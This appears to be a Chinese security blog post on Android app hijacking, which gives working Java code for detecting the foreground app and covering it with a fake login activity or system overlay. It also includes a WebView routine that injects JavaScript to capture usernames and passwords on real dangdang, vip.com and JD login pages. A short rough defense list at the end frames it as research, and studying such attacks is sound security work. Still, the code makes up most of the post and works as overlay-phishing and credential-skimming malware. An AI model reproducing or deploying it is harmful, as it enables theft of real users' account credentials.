简单移动Android客户端,【移动安全】App客户端劫持及简单防护

阅读:

4,028

Android APP客户端安全评估中,有一项叫做activity界面劫持。该bug的攻击场景是,当手机中的恶意APP检测到当前运行的为目标APP时,就启动自身的钓鱼界面覆盖到目标APP之上,以欺骗用户输入账号密码等。本文将要归纳Android各个版本可以使用的检测当前运行的APP的方法,及附带webview的劫持示例。

1、getRunningTasks(android5.0之前)

ActivityManager am = (ActivityManager) getBaseContext().getSystemService (Context.ACTIVITY_SERVICE);

ComponentName cn = am.getRunningTasks(1).get(0).topActivity;

String packageName = cn.getPackageName();

List list = Arrays.asList(TARGET_APPS);

if(packageName != null && list.contains(packageName)){

Intent i = new Intent();

i.setClassName("com.haoren.hijack", "com.haoren.hijack.Login");

i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

getApplicationContext().startActivity(i);

break;

}

getRunningTasks需要使用权限android:name=”android.permission.GET_TASKS”

除了使用activity覆盖目标APP,还可以使用alertwindow(模态弹窗),如下demo

view = LayoutInflater.from(getApplicationContext()).inflate(R.layout.login, null);

wm = (WindowManager) getSystemService(Context.WINDOW_SERVICE);

final WindowManager.LayoutParams params = new WindowManager.LayoutParams();

params.type = WindowManager.LayoutParams.TYPE_SYSTEM_ALERT;

int flags1 = WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM;

params.flags = flags1;

params.width = LayoutParams.MATCH_PARENT;

params.height = LayoutParams.MATCH_PARENT;

params.gravity = Gravity.CENTER;

wm.addView(view, params);

//设置不响应任何按键,可拒绝服务

view.setOnKeyListener(new OnKeyListener() {

@Override

public boolean onKey(View v, int keyCode, KeyEvent event) {

switch (keyCode) {

case KeyEvent.KEYCODE_BACK:

if(wm != null)

wm.removeView(view);

return true;

default:

return false;

}

}

});

alertwindow需要使用权限android:name=”android.permission.SYSTEM_ALERT_WINDOW”

2、Accessibility Service(辅助功能,一直可用)

在Accessibility Service的onAccessibilityEvent回调函数中,可以检测到当前执行的APP,如下

@Override

public void onAccessibilityEvent(AccessibilityEvent arg0) {

String topActivity = null;

String s = "";

if(arg0 != null){

if(arg0.getPackageName() != null){

topActivity = arg0.getPackageName().toString();

}

if(arg0.getText() != null){

s = arg0.getText().toString().split(",")[0].replace("[", "").replace("]", "");

}

}

//if(topActivity.equals("com.achievo.vipshop") && s.equals("登 录")){

if(topActivity.equals("com.achievo.vipshop")){

Log.i("accessibility", "xxxx"+s);

Intent i = new Intent();

i.setClassName("com.haoren.hijack", "com.haoren.hijack.Login");

i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

getApplicationContext().startActivity(i);

}

}

3、通过/proc/目录也可以获取当前应用(Android7.0中限制了APP获取/proc/的内容,会失效)

使用github中的AndroidProcesses库,可以直接获取,如下

PackageManager pm = getApplicationContext().getPackageManager();

AndroidAppProcess target = null;

List list = Arrays.asList(TARGET_APPS);

String pName = null;

while(true){

target = null;

List processes = AndroidProcesses.getRunningAppProcesses();

for(AndroidAppProcess a : processes){

PackageInfo packageInfo;

try {

Stat stat = a.stat();

int pid = stat.getPid();

packageInfo = a.getPackageInfo(getApplicationContext(), 0);

String appName = packageInfo.applicationInfo.loadLabel(pm).toString();

pName = packageInfo.packageName;

if(appName != null && list.contains(pName) && new AndroidAppProcess(pid).foreground){

target = a;

Log.i("xu", "xuxu"+pid);

break;

}

} catch (Exception e) {

e.printStackTrace();

}

}

if(target != null){

Log.i("xu", "xuxu"+pName);

//do something here

break;

}

}

4、UsageStatsManager(Android5.0引入)

需要系统级别权限android.permission.PACKAGE_USAGE_STATS(系统签名的APP能使用该权限),参见

github中的android-overlay-malware-example

5、webview

webview加载目标m站后,再加载恶意js,劫持用户输入,如下

webview添加java接口:

webView.addJavascriptInterface(new MyJavaScriptInterface(), “MYOBJECT”);

然后覆盖setWebViewClient的onPageFinished,插入js代码,劫持用户输入

@Override

public void onPageFinished(WebView view, String url) {

super.onPageFinished(view, url);

StringBuilder sb = new StringBuilder();

if(url.contains("vip.com")){

sb.append("document.getElementByIdx_x_x_x_x('J_topDownloadBar').style.display='none';");

}

if(url.contains("mpassport.dangdang.com")){

sb.append("document.getElementByIdx_x_x_x_x('password').οnblur=function(){");

sb.append("var objPWD, objAccount;var str = 'dangdang';");

sb.append("objAccount = document.getElementByIdx_x_x_x_x('username');");

sb.append("objPWD = document.getElementByIdx_x_x_x_x('password');");

sb.append("if (objAccount != null) {str += objAccount.value;}");

sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}");

sb.append("window.MYOBJECT.processHTML(str);");

sb.append("return true;");

sb.append("};");

}else if(url.contains("mlogin.vip.com")){

sb.append("document.getElementByIdx_x_x_x_x('inputPsw').οnblur=function(){");

sb.append("var objPWD, objAccount;var str = 'vip';");

sb.append("objAccount = document.getElementByIdx_x_x_x_x('inputName');");

sb.append("objPWD = document.getElementByIdx_x_x_x_x('inputPsw');");

sb.append("if (objAccount != null) {str += objAccount.value;}");

sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}");

sb.append("window.MYOBJECT.processHTML(str);");

sb.append("return true;");

sb.append("};");

}else if(url.contains("plogin.m.jd.com")){

sb.append("document.getElementsByClassName('txt-input txt-password')[0].οnblur=function(){");

sb.append("var objPWD, objAccount;var str = 'jd';");

sb.append("objAccount = document.getElementsByClassName('txt-input txt-username')[0];");

sb.append("objPWD = document.getElementsByClassName('txt-input txt-password')[0];");

sb.append("if (objAccount != null) {str += objAccount.value;}");

sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}");

sb.append("window.MYOBJECT.processHTML(str);");

sb.append("return true;");

sb.append("};");

}else{

sb.append("document.getElementsByTagName_r('form')[0].onsubmit = function () {");

sb.append("var objPWD, objAccount;var str = 'other';");

sb.append("var inputs = document.getElementsByTagName_r('input');");

sb.append("for (var i = 0; i < inputs.length; i++) {");

sb.append("if (inputs[i].type.toLowerCase() === 'password') {objPWD = inputs[i];}");

sb.append("else if (inputs[i].name.toLowerCase() === 'email') {objAccount = inputs[i];}");

sb.append("}");

sb.append("if (objAccount != null) {str += objAccount.value;}");

sb.append("if (objPWD != null) { str += ' , ' + objPWD.value;}");

sb.append("window.MYOBJECT.processHTML(str);");

sb.append("return true;");

sb.append("};");

}

view.loadUrl("javascript:" + sb.toString());

}

以上是个人归纳的客户端劫持可能的途径(此类攻击难度较大,分享出来作技术研究)

防护方法

最后,一个粗略的防护方案:

①、对于界面(activity)覆盖,可以利用同样的方法,判断是否为自身在activity栈顶。

②、alertwindow不是activity栈机制,依然无法检测。在android6.0之后,如果app是从Play  Store安装的,则SYSTEM_ALERT_WINDOW自动允许,如果是其他途径安装的则需要用户手动在设置中开启 悬浮窗 权限。

另外重载onFilterTouchEventForSecurity函数可以进行安全检测(未测)

③、对Accessibility Service这类,只有提高用户的安全意识方面着手

④、对于webview类型的劫持,可以利用js计算当前页面是否被篡改过

⑤、对于/proc/目录和UsageStatsManager两个 Android系统方面也有相应的防护

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值